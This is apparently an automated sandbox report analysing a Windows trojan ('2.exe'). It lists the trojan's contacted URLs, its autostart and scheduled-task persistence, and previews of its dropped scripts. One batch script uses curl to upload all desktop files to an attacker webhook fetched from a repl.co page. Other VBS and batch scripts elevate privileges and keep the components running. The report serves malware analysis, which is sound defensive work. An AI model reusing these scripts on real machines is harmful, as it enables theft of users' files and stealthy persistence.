https://set-clima.mrgaton.repl.co/WEB.html	2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	false		high
http://sf3q2wrq34.ddns.net	2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://cdn.discordapp.com	2.exe, 00000000.00000002.373259812.0000000002E40000.00000004.00000001.sdmp	false		high
https://contoso.com/	powershell.exe, 0000000A.00000002.301438256.00000286CA674000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000006.00000002.265172364.000001AE90063000.00000004.00000001.sdmp, powershell.exe, 0000000A.00000002.301438256.00000286CA674000.00000004.00000001.sdmp	false		high
https://discordapp.com/assets/5ccabf62108d5a8074ddd95af2211727.png	2.exe, 00000000.00000002.373166891.0000000002DE5000.00000004.00000001.sdmp	false		high
http://sf3q2wrq34.ddns.net-http://funado.ddns.net	2.exe, 00000000.00000002.372096666.0000000000AC2000.00000002.00020000.sdmp	true	Avira URL Cloud: safe	unknown
https://discordapp.com/api/v6/channels/	2.exe, 00000000.00000002.373166891.0000000002DE5000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.258889108.000001AE80001000.00000004.00000001.sdmp, powershell.exe, 0000000A.00000002.293164821.00000286BA611000.00000004.00000001.sdmp	false		high
https://proxycheck.io/v2/%EIS%?vpn=1&asn=1	2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/780888037466046486/809495542051897374/l4	2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp	false		high
https://set-clima.mrgaton.repl.co/Archibospersonales.html	2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	false		high
https://set-clima.mrgaton.repl.co/MesagesenderTIempo.html	2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	false		high
https://cdn.discorPZ	2.exe, 00000000.00000002.373244152.0000000002E36000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000006.00000002.265172364.000001AE90063000.00000004.00000001.sdmp, powershell.exe, 0000000A.00000002.301438256.00000286CA674000.00000004.00000001.sdmp	false		high
http://wsoft.com/pki/ceroCerAut_2010-06-	powershell.exe, 0000000A.00000002.304960003.00000286D2DDA000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000A.00000002.293378108.00000286BA821000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000006.00000002.259218667.000001AE8020B000.00000004.00000001.sdmp, powershell.exe, 0000000A.00000002.293902807.00000286BA9A4000.00000004.00000001.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000A.00000002.293378108.00000286BA821000.00000004.00000001.sdmp	false		high
https://set-clima.mrgaton.repl.co/WIFI:BAT	2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	false		high
https://go.micro	powershell.exe, 00000006.00000003.241982685.000001AE817A7000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://go.microsoft.coi	powershell.exe, 00000006.00000003.255265761.000001AEE9906000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://set-clima.mrgaton.repl.co/WEB2.html	2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	false		high
http://funado.ddns.net	2.exe	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000A.00000002.301438256.00000286CA674000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://cdn.discordapp.com	2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000000A.00000002.293378108.00000286BA821000.00000004.00000001.sdmp	false		high
https://myexternalip.com/raw	2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	false		high
http://crl.t.com/pki/crl/pr8Y	powershell.exe, 0000000A.00000002.304960003.00000286D2DDA000.00000004.00000001.sdmp	false		high
http://wttr.in/?format=%%l	2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com8	2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://checkip.amazonaws.com	2.exe, 00000000.00000002.373115366.0000000002DCD000.00000004.00000001.sdmp	false		high
https://wttr.in/?format=%%w	2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://wttr.in/?format=%%t	2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000006.00000002.259218667.000001AE8020B000.00000004.00000001.sdmp, powershell.exe, 0000000A.00000002.293902807.00000286BA9A4000.00000004.00000001.sdmp	false		high
https://wttr.in/?format=%%m	2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.coW	powershell.exe, 00000013.00000002.356928089.00000291F2BD9000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://checkip.amazonaws.com/	2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp	false		high
https://cdn.discordapp.com/avatars/	2.exe, 00000000.00000002.373115366.0000000002DCD000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
162.159.134.233	unknown	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	352559
Start date:	12.02.2021
Start time:	19:38:19
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	2 (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal92.troj.evad.winEXE@49/41@51/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, WmiPrvSE.exe, svchost.exe Excluded IPs from analysis (whitelisted): 52.255.188.83, 13.64.90.137, 184.30.20.56, 51.104.139.180, 92.122.213.247, 92.122.213.194, 51.103.5.186, 67.27.235.254, 67.27.159.254, 67.27.157.126, 8.248.149.254, 8.253.207.121, 20.54.26.129, 2.23.155.249, 2.23.155.233, 2.23.155.226, 2.23.155.185, 93.184.220.29, 142.250.179.163, 52.155.217.156 Excluded domains from analysis (whitelisted): arc.msn.com.nsatc.net, cs9.wac.phicdn.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, a1952.dscq.akamai.net, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, wns.notify.trafficmanager.net, ocsp.digicert.com, a1887.dscq.akamai.net, audownload.windowsupdate.nsatc.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, auto.au.download.windowsupdate.com.c.footprint.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, skypedataprdcolwus17.cloudapp.net, client.wns.windows.com, fs.microsoft.com, identrust.edgesuite.net, crl.identrust.com, ris-prod.trafficmanager.net, displaycatalog.md.mp.microsoft.com.akadns.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, o.lencr.edgesuite.net, pki-goog.l.google.com, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, blobcollector.events.data.trafficmanager.net Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
19:39:16	API Interceptor	114x Sleep call for process: powershell.exe modified
19:40:18	API Interceptor	1x Sleep call for process: 2.exe modified
19:40:21	API Interceptor	2x Sleep call for process: WMIC.exe modified
19:40:40	Task Scheduler	Run new task: ACTUALIZADOR path: C:\GatonFiles\Scripts\Actualizador.vbs
19:40:41	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run REGISTRO C:\GatonFiles\Scripts\DespiertadorDeRegistro.vbs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
162.159.134.233	VMKwliCGEP.rtf	Get hash	malicious	Browse	cdn.discordapp.com/attachments/785611664095313920/785649743954706472/bin.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
myexternalip.com	558d9db9309b918e.exe	Get hash	malicious	Browse	216.239.32.21
	attach-581976319.xls	Get hash	malicious	Browse	216.239.32.21
	THVRpcyOf1.exe	Get hash	malicious	Browse	216.239.32.21
	PzjiIy8TEq.exe	Get hash	malicious	Browse	216.239.32.21
	KNJ725Xas2.exe	Get hash	malicious	Browse	216.239.32.21
	8BkRlVzv0S.exe	Get hash	malicious	Browse	216.239.32.21
	Payment Confirmation Paper - Customer Copy_pdf.exe	Get hash	malicious	Browse	216.239.32.21
	1gEpBw4A95.exe	Get hash	malicious	Browse	216.239.32.21
	SecuriteInfo.com.BehavesLike.Win32.Trickbot.gm.exe	Get hash	malicious	Browse	216.239.32.21
	vJHWQgfJ23.exe	Get hash	malicious	Browse	216.239.32.21
	cQ8245rmPr.exe	Get hash	malicious	Browse	216.239.32.21
	454.exe	Get hash	malicious	Browse	216.239.32.21
	eryyeye.exe	Get hash	malicious	Browse	216.239.32.21
	64664646.exe	Get hash	malicious	Browse	216.239.32.21
ocsp.rootg2.amazontrust.com	558d9db9309b918e.exe	Get hash	malicious	Browse	143.204.15.46
	new-awsd.exe	Get hash	malicious	Browse	13.224.89.102
	CAISSON64.EXE	Get hash	malicious	Browse	13.224.89.126
	Scan_Image_from_IMANAGE_MALTA.pdf	Get hash	malicious	Browse	13.32.182.154
	http://civiljour.tk	Get hash	malicious	Browse	13.32.177.206
	http://www.corporatetrustinsider.com/	Get hash	malicious	Browse	216.137.61.87
	http://www.creditonebank.com	Get hash	malicious	Browse	52.84.163.139
	http://partypoker.com	Get hash	malicious	Browse	143.204.10.51
	NEURILINK DOCUMENT. 20062018.pdf	Get hash	malicious	Browse	13.32.177.118
	June 2018 LE Newsletter - Customer.pdf	Get hash	malicious	Browse	13.32.177.206
	http://msofte.xyz	Get hash	malicious	Browse	52.85.69.192
	http://www.djyokoo.com	Get hash	malicious	Browse	54.230.14.210
	http://lightpack.tv/wp-content/PrismatikSetup_6.0.0.exe	Get hash	malicious	Browse	52.84.25.33
	http://startedasthere.tk/index/?2171506271081	Get hash	malicious	Browse	13.32.66.189
	http://photobucket.com/user/nikkireed11/library	Get hash	malicious	Browse	52.85.177.232
	Nts293901920190123.exe	Get hash	malicious	Browse	13.32.210.106
	https://na01.safelinks.protection.outlook.com/?url=http%3A%2F%2Fhbmonte.com%2Fups.com%2FWebTracking%2FDB-9080473587665%2F&data=02%7C01%7Cgtwilliams%40mercuryinsurance.com%7C545ee765273f439bfe4a08d5bf1a5960%7C0d8ef88be7e14f18b332ab564f6cda49%7C0%7C0%7C636625042252813480&sdata=CmjWmdDSndkUJNDHRF8U%2BNA3VlA9Sa%2BhAiYJSbxLNfY%3D&reserved=0	Get hash	malicious	Browse	52.85.245.165
	http://sellmyhousefl.net/wp-content/plugins/loavescy.html	Get hash	malicious	Browse	13.32.16.70
	http://173.239.200.202/?Z289MSZzMT0yNzAwMDgmczI9NjMwMDI0NjUmczM9RlI=	Get hash	malicious	Browse	52.85.46.131
	http://email.lyftmail.com/c/eJwtkE1vgkAQhn8N3iDLsi5w4ACl2hqjsSaiXsiyO8o07EL4EO2vLzRN5jLJM-_MMyoSoXJhUb1ufa6h68QdclQRYVT5VHHbJa6wGQCxQ1rcbF8EoVAFdYPAW2BEiRuQJQkoYd6SOa7D3tNVzAlJg9TnPAktRuZoLbByZK0XZQQBDakMVSEplx5l3PNdqRjzfe5KEHJRRWXfN53lxRZdTTWOozNnzPNTWwwdmulQu2nrG1YwgStZK7C8NHttvsXHppHeV3M9LsutSWqRPTtxTn4O61V_PZfmYg7DhYb9J454yU5MrneP4rhRTqr2Cu8OGI18n11jZrJ6W-_KePN2ojkkobQoH3qdd_XQynkdmgf2oKa36QLavAWNRkH7j0mhG4F3M4ECns0s30aybLHrERzhNCVWFU6ejAgNz3vxJ_gLZsmCsQ	Get hash	malicious	Browse	52.85.22.117
discord.com	558d9db9309b918e.exe	Get hash	malicious	Browse	162.159.137.232
	SuperEnjoy.exe	Get hash	malicious	Browse	162.159.128.233
	InfoSender.exe	Get hash	malicious	Browse	162.159.136.232
	Dropper.xlsm	Get hash	malicious	Browse	162.159.138.232
	Chrome.exe	Get hash	malicious	Browse	162.159.135.232
	Matrix.exe	Get hash	malicious	Browse	162.159.138.232
	0939489392303224233.exe	Get hash	malicious	Browse	162.159.128.233
	b12d7feb3507461a.exe	Get hash	malicious	Browse	162.159.138.232
	SecuriteInfo.com.Trojan.DownLoader36.32796.17922.exe	Get hash	malicious	Browse	162.159.137.232
	Og8qU1smzy.exe	Get hash	malicious	Browse	162.159.138.232
	0p8ufnbnaG.exe	Get hash	malicious	Browse	162.159.128.233
	0p8ufnbnaG.exe	Get hash	malicious	Browse	162.159.137.232
	UaTCQiQ6XK.exe	Get hash	malicious	Browse	162.159.135.232
	0000098.xlsx	Get hash	malicious	Browse	162.159.135.232
	DRAFT-KMBT-F33C6592-96F3-4015-8107_IMG.exe	Get hash	malicious	Browse	162.159.136.232
	December SOA.exe	Get hash	malicious	Browse	162.159.137.232
	988119028872673623l.exe	Get hash	malicious	Browse	162.159.136.232
	SecuriteInfo.com.Fareit-FZO54A4BE7037EC.exe	Get hash	malicious	Browse	162.159.135.232
	xs1ALnpMCT.exe	Get hash	malicious	Browse	162.159.128.233
	0I2ddZZKv7.exe	Get hash	malicious	Browse	162.159.136.232

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	e888888888.dll	Get hash	malicious	Browse	104.20.185.68
	558d9db9309b918e.exe	Get hash	malicious	Browse	162.159.129.233
	Invoice due.html	Get hash	malicious	Browse	104.21.2.189
	One Note celine.wilcox@brewin.co.uk.html	Get hash	malicious	Browse	104.16.18.94
	SecuriteInfo.com.BehavesLike.Win32.Generic.cm.exe	Get hash	malicious	Browse	104.21.85.36
	SecuriteInfo.com.Variant.MSILHeracles.12016.19804.exe	Get hash	malicious	Browse	104.21.67.80
	NEW ORDER.exe	Get hash	malicious	Browse	66.235.200.145
	swift-copy-pdf.exe	Get hash	malicious	Browse	172.67.171.63
	SecuriteInfo.com.Variant.Razy.292793.13062.exe	Get hash	malicious	Browse	104.21.85.36
	pagamento.exe	Get hash	malicious	Browse	104.23.98.190
	One Note richard.morley@brewin.co.uk.html	Get hash	malicious	Browse	104.16.18.94
	SNA09009000.exe	Get hash	malicious	Browse	172.67.188.154
	7G5RoevPnu.exe	Get hash	malicious	Browse	162.159.129.233
	SA0909000.jar	Get hash	malicious	Browse	104.21.19.200
	SA0909000.jar	Get hash	malicious	Browse	104.21.19.200
	P.I 467301.xlsx	Get hash	malicious	Browse	172.67.8.238
	DHL_6368638172 receipt document,pdf.exe	Get hash	malicious	Browse	162.159.135.233
	soa_xls.exe	Get hash	malicious	Browse	172.67.188.154
	Revise Invoice.jar	Get hash	malicious	Browse	172.67.188.154
	DHL_FORM_00029168874_PDF.exe	Get hash	malicious	Browse	172.67.188.154

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	558d9db9309b918e.exe	Get hash	malicious	Browse	162.159.134.233
	SecuriteInfo.com.BehavesLike.Win32.Generic.cm.exe	Get hash	malicious	Browse	162.159.134.233
	SecuriteInfo.com.Variant.MSILHeracles.12016.19804.exe	Get hash	malicious	Browse	162.159.134.233
	Trip Details.vbs	Get hash	malicious	Browse	162.159.134.233
	SecuriteInfo.com.Variant.Razy.292793.13062.exe	Get hash	malicious	Browse	162.159.134.233
	pagamento.exe	Get hash	malicious	Browse	162.159.134.233
	SNA09009000.exe	Get hash	malicious	Browse	162.159.134.233
	SA0909000.jar	Get hash	malicious	Browse	162.159.134.233
	SA0909000.jar	Get hash	malicious	Browse	162.159.134.233
	soa_xls.exe	Get hash	malicious	Browse	162.159.134.233
	Revise Invoice.jar	Get hash	malicious	Browse	162.159.134.233
	DHL_FORM_00029168874_PDF.exe	Get hash	malicious	Browse	162.159.134.233
	NRS Collinsilla Allocation.PDF.exe	Get hash	malicious	Browse	162.159.134.233
	K86OrL3m99.exe	Get hash	malicious	Browse	162.159.134.233
	DHL_FORM_00029168873.exe	Get hash	malicious	Browse	162.159.134.233
	Shipping Documents.exe	Get hash	malicious	Browse	162.159.134.233
	IDS_ScanCopy6754588899.exe	Get hash	malicious	Browse	162.159.134.233
	TTSWIFTCOPY.exe	Get hash	malicious	Browse	162.159.134.233
	DHL_FORM_0029168875.exe	Get hash	malicious	Browse	162.159.134.233
	Purchase Order.exe	Get hash	malicious	Browse	162.159.134.233

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
C:\GatonFiles\Scripts\Kraken.py	558d9db9309b918e.exe	Get hash	malicious	Browse
C:\GatonFiles\Scripts\Link.exe	558d9db9309b918e.exe	Get hash	malicious	Browse

Created / dropped Files

C:\GatonFiles\Data\IpGraverStart\Start.Dll Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.2776134368191165
Encrypted:	false
SSDEEP:	3:DGL:s
MD5:	E52FD7542AC7305FA13A4D98A54A2CA8
SHA1:	FB8ACCDF211CF0B62407BD51E718CE7CDA33B2BB
SHA-256:	BA224EAAF6280529D86A250DD13E6151A6985BCE39603B1BCB22ACAA805422D8
SHA-512:	08CCE6462F4582017757789BFE68C8BC718D7EE3F64700E81707467521ABA0929F85D80F5A57EDA719E5CB41AC12DD83BCB8D39626D8360E8F18BBDFBC3A8960
Malicious:	false
Preview:	Perfect:)..

C:\GatonFiles\Scripts\Actualizador.vbs Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5912
Entropy (8bit):	5.1804903836765686
Encrypted:	false
SSDEEP:	96:px1k6raNVA3+U8U/LToUO0iUJnXA3LQEwhQAf+N2WAvvG1VuU1ki1V6Jb:n14NVAbT9OMh7EgvG1v1P1VQb
MD5:	3E615C5231AF93E759FED12E6DB2296C
SHA1:	DE932C47DC56419506A545984B2421892DD3AE58
SHA-256:	0C122171FA8415B825E1B4BFE094329A32C1E3A6A64299B63E49B4983D8AEE13
SHA-512:	AACA799FB27C50BED21C0CA50A4624321550AEF45DF1FFF686F4A0BE170363291C5FCC82085A9C56C9A6843F1E16B2A212E85FAECD5E6205280624070C07ED99
Malicious:	false
Preview:	'!!Cuidado este archibo es necesario para acutalizar el sistema si lo borras no funcionara el dispositibo!!'..dt=now..Set hel=CreateObject("WScript.Shell")..Set fso = CreateObject("Scripting.FileSystemObject")..if (fso.FileExists("C:\GatonFiles\Scripts\Exeptcion.bat")) Then..hel.Run chr(34) & "C:\GatonFiles\Scripts\Exeptcion.bat" & Chr(34), 0..wscript.sleep 100..end if..if (fso.FileExists("C:\GatonFiles\Scripts\DespiertadorDeRegistro.vbs")) Then..hel.Run "C:\GatonFiles\Scripts\DespiertadorDeRegistro.vbs"..wscript.sleep 100..end if..if not (fso.FileExists("C:\GatonFiles\Scripts\Actualizador.vbs")) Then..SORDOPUTO = ("demasiadoputo")..If WScript.Arguments.length = 0 Then.. Set objshell = CreateObject("shell.Application").. objshell.shellExecute "wscript.exe", Chr(34) & WScript.ScriptFullName & Chr(34) & " uac", "", "runas", 1.. Wscript.Quit..end if..SYSROOT = hel.ExpandEnvironmentStrings("%systemroot%")..hel.Run "" & SYSROOT & "\system32\wuauclt.exe /updatenow" & Chr(34), 0..end if

C:\GatonFiles\Scripts\Archibos.Bat Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2032
Entropy (8bit):	5.261502872623547
Encrypted:	false
SSDEEP:	24:/ILiMlEy9U9paOkUj18mK5OmCmbcqEEytkUj1nK5OQmbcq/kUj1JW5Ogbcq/kUjV:/dgU9jVy5DChV05IVLW5rV75/ahZG
MD5:	F21FAFE3ECFC9EC143ED22A39356B4BD
SHA1:	A0C5FCD6576CF98E887C7089CF01041230E80EAA
SHA-256:	0A0D9BA409EEBB4DAC46E5F888E63236A8276948501F2A169F93F3DB6E85311A
SHA-512:	E5431BF934D2FC5490D1C3B052B140F3C02140DB1D8E686BFBAF6253900758C0828850432599FFF9C7549A5B8C2C4B41E8C4F3D2E2EA98224FBF6FC4252A02E0
Malicious:	false
Preview:	echo off..color 3..title Robandote todos tus archibos men yo que tu activaria mi antivirus..cls..if exist "C:\GatonFiles\Scripts\Link.dll" (for /f "delims=" %%q in (C:\GatonFiles\Scripts\Link.dll) do set LINK=%%q)..FOR /F %%I IN ('curl "https://set-clima.mrgaton.repl.co/Archibospersonales.html"') do set SITIO=%%I..curl -X POST -H "Content-type: application/json" --data "{\"avatar_url\": \"%LINK%\", \"username\": \"%USERNAME%\", \"content\": \"*Subiendo archibos del escritorio\n\"}" %SITIO%..for /f tokens^= %%i in ('dir /b /d /s /a-d "%userprofile%\desktop"') do (echo Subiendo archibo:%%i && timeout 4 /nobreak && curl -i -H '' -F file=@"%%i" -F 'payload_json={}' %SITIO% && echo Archibo subido:%%i)..if exist "C:\GatonFiles\Scripts\Link.dll" (for /f "delims=" %%q in (C:\GatonFiles\Scripts\Link.dll) do set LINK=%%q)..curl -X POST -H "Content-type: application/json" --data "{\"avatar_url\": \"%LINK%\", \"username\": \"%USERNAME%\", \"content\": \"*Subiendo fotos*\n\"}" %SITIO%..fo

C:\GatonFiles\Scripts\DespiertaDespiertador.bat Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	439
Entropy (8bit):	4.99329424605955
Encrypted:	false
SSDEEP:	12:qMCP4dJlPQMb93+WEFgQX0HClrMlliHMlz:qHPIYmREFgQX0HClrVo
MD5:	966428B7F2F12E324632CC54BF0C3C12
SHA1:	F5CBC7C229AD4C4F27660318E3D29E71349BA19D
SHA-256:	4AEAE0E560A19A6A68A75AB5EE47E250E48B71D32BECF8333EB7AA2CC00C98D5
SHA-512:	02C2F0F8C1576AAA2EF5D3222DF372CB9183D3B09070E522E4FA161AFA1E32D41F483A7D1F54923753221DE7B788182570188CAEA9BDBF6C0000E0B9EB38AE0D
Malicious:	true
Preview:	cd "C:\GatonFiles\Scripts"..for /f "usebackq tokens=* delims=" %%a in (`wmic process where 'CommandLine like "%%C:\\GatonFiles\\Scripts\\Despiertador.bat%%" and not CommandLine like "%%RuntimeBroker%%"' get CommandLine ^, ProcessId /format:value`) do (for /f "tokens=* delims=" %%# in ("%%a") do (set "%%#" ))..IF "%ProcessID%"=="" (if exist "C:\GatonFiles\Scripts\Despiertador.vbs" (start C:\GatonFiles\Scripts\Despiertador.vbs param1))..

C:\GatonFiles\Scripts\DespiertaDespiertador.vbs Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	268
Entropy (8bit):	4.960824243052304
Encrypted:	false
SSDEEP:	3:RAkmQEm8nBve8Rm8x7D/emNDWKXMJAYMrHEKXMhX2Ay4BKjm5Auv8NX4E4RiERKr:RjFNqZM+7ym/eMTTMh36HXlMh3UNUqJH
MD5:	251F5F82FEC9C402EE46C3DEC8271400
SHA1:	7A7B2E8B13DC09BCE2AE5765124761E8D4923E00
SHA-256:	01EA2EBEF5587324463D5F9B3F3DFAF624D431584D40E21BC317BDE80BA0756C
SHA-512:	64CB7874B09CAB147286FFA48CCAA58CC74783B24A24CFB10A9FE4751B19486C034F7384BE218CC23E3A3E99BA20952921A739D8B89C64135C2ABF4F90D2D6CB
Malicious:	false
Preview:	set hel = CreateObject("WScript.Shell") ..Set fso = CreateObject("Scripting.FileSystemObject")..If (fso.FileExists("C:\GatonFiles\Scripts\DespiertaDespiertador.bat") ) Then ..hel.Run chr(34) & "C:\GatonFiles\Scripts\DespiertaDespiertador.bat" & Chr(34), 0 ..end if..

C:\GatonFiles\Scripts\Despiertador.bat Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1545
Entropy (8bit):	5.087938391843514
Encrypted:	false
SSDEEP:	24:qSnDPIYmDEFgQX0HvFlrLR9PtPIYmPEFgQX0Hvplrf19PtPIYmgEFgQX0HvwlrAI:7DPaEFgDlZFtPOEFgnlxFtPFEFgulh6g
MD5:	2E551D2C55A926F93FEF7708B196FD50
SHA1:	AF086015300B4BECEAE95E7B027A05B801FB84F6
SHA-256:	FB7CA2264D8F96E4228FB27B97D2409700C99F9194A20D4F1FFF9BB93CBA21B4
SHA-512:	EB6CA232E08AD4E707AFB115B2E3680CDCC427E50459EA4C75446925C14FC52F316D8B8A55CF052941C72828AD3AEBDF84369D7204EF304B01808CBE937612C2
Malicious:	false
Preview:	cd "C:\GatonFiles\Scripts"..:start..for /f "usebackq tokens=* delims=" %%a in (`wmic process where 'CommandLine like "%%C:\\GatonFiles\\Scripts\\Regedit.vbs%%" and not CommandLine like "%%RuntimeBroker%%"' get CommandLine ^, ProcessId /format:value`) do (for /f "tokens=* delims=" %%# in ("%%a") do (set "%%#" ))..if exist "C:\GatonFiles\Scripts\Regedit.vbs" (..IF "%ProcessID%"=="" (if exist "C:\GatonFiles\Scripts\Regedit.vbs" (start C:\GatonFiles\Scripts\Regedit.vbs param1))..)..SET ProcessID=..timeout %pits% /nobreak..for /f "usebackq tokens=* delims=" %%a in (`wmic process where 'CommandLine like "%%C:\\GatonFiles\\Scripts\\Messagesender.vbs%%" and not CommandLine like "%%RuntimeBroker%%"' get CommandLine ^, ProcessId /format:value`) do (for /f "tokens=* delims=" %%# in ("%%a") do (set "%%#" ))..if exist "C:\GatonFiles\Scripts\Messagesender.vbs" (..IF "%ProcessID%"=="" (if exist "C:\GatonFiles\Scripts\Messagesender.vbs" (start C:\GatonFiles\Scripts\Messagesender.vbs param1))..)..SET P

C:\GatonFiles\Scripts\Despiertador.vbs Download File
Process:	C:\Users\user\Desktop\2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	259
Entropy (8bit):	5.017243843063982
Encrypted:	false
SSDEEP:	3:jaPFEm8nBve8Rm8x7D/emNDWKXMJAYMrHEKXMhX2AyBKjm5Au/2qQANX4E4RiERD:j6NqZM+7ym/eMTTMh3R620XlMh3FNUqj
MD5:	C49395FCD12BC5746A9C3F20B161CB62
SHA1:	04F1D91C0050D057F4C92D2B5EE3DC4DD8FAED3E
SHA-256:	15E0423E8D9A8BE8BC5DF26F0E6BAE09CA0EEF7FA7893BA210B533DDEA931337
SHA-512:	68973F0FCD50D48B03EF5F44CE955E1E6D1B4280FCEB2F232EE8A69C383AF8DAAC90C897B47442729D0F61A3C36E403A5F42FDB881A348A9B66133AE0915DB6D
Malicious:	false
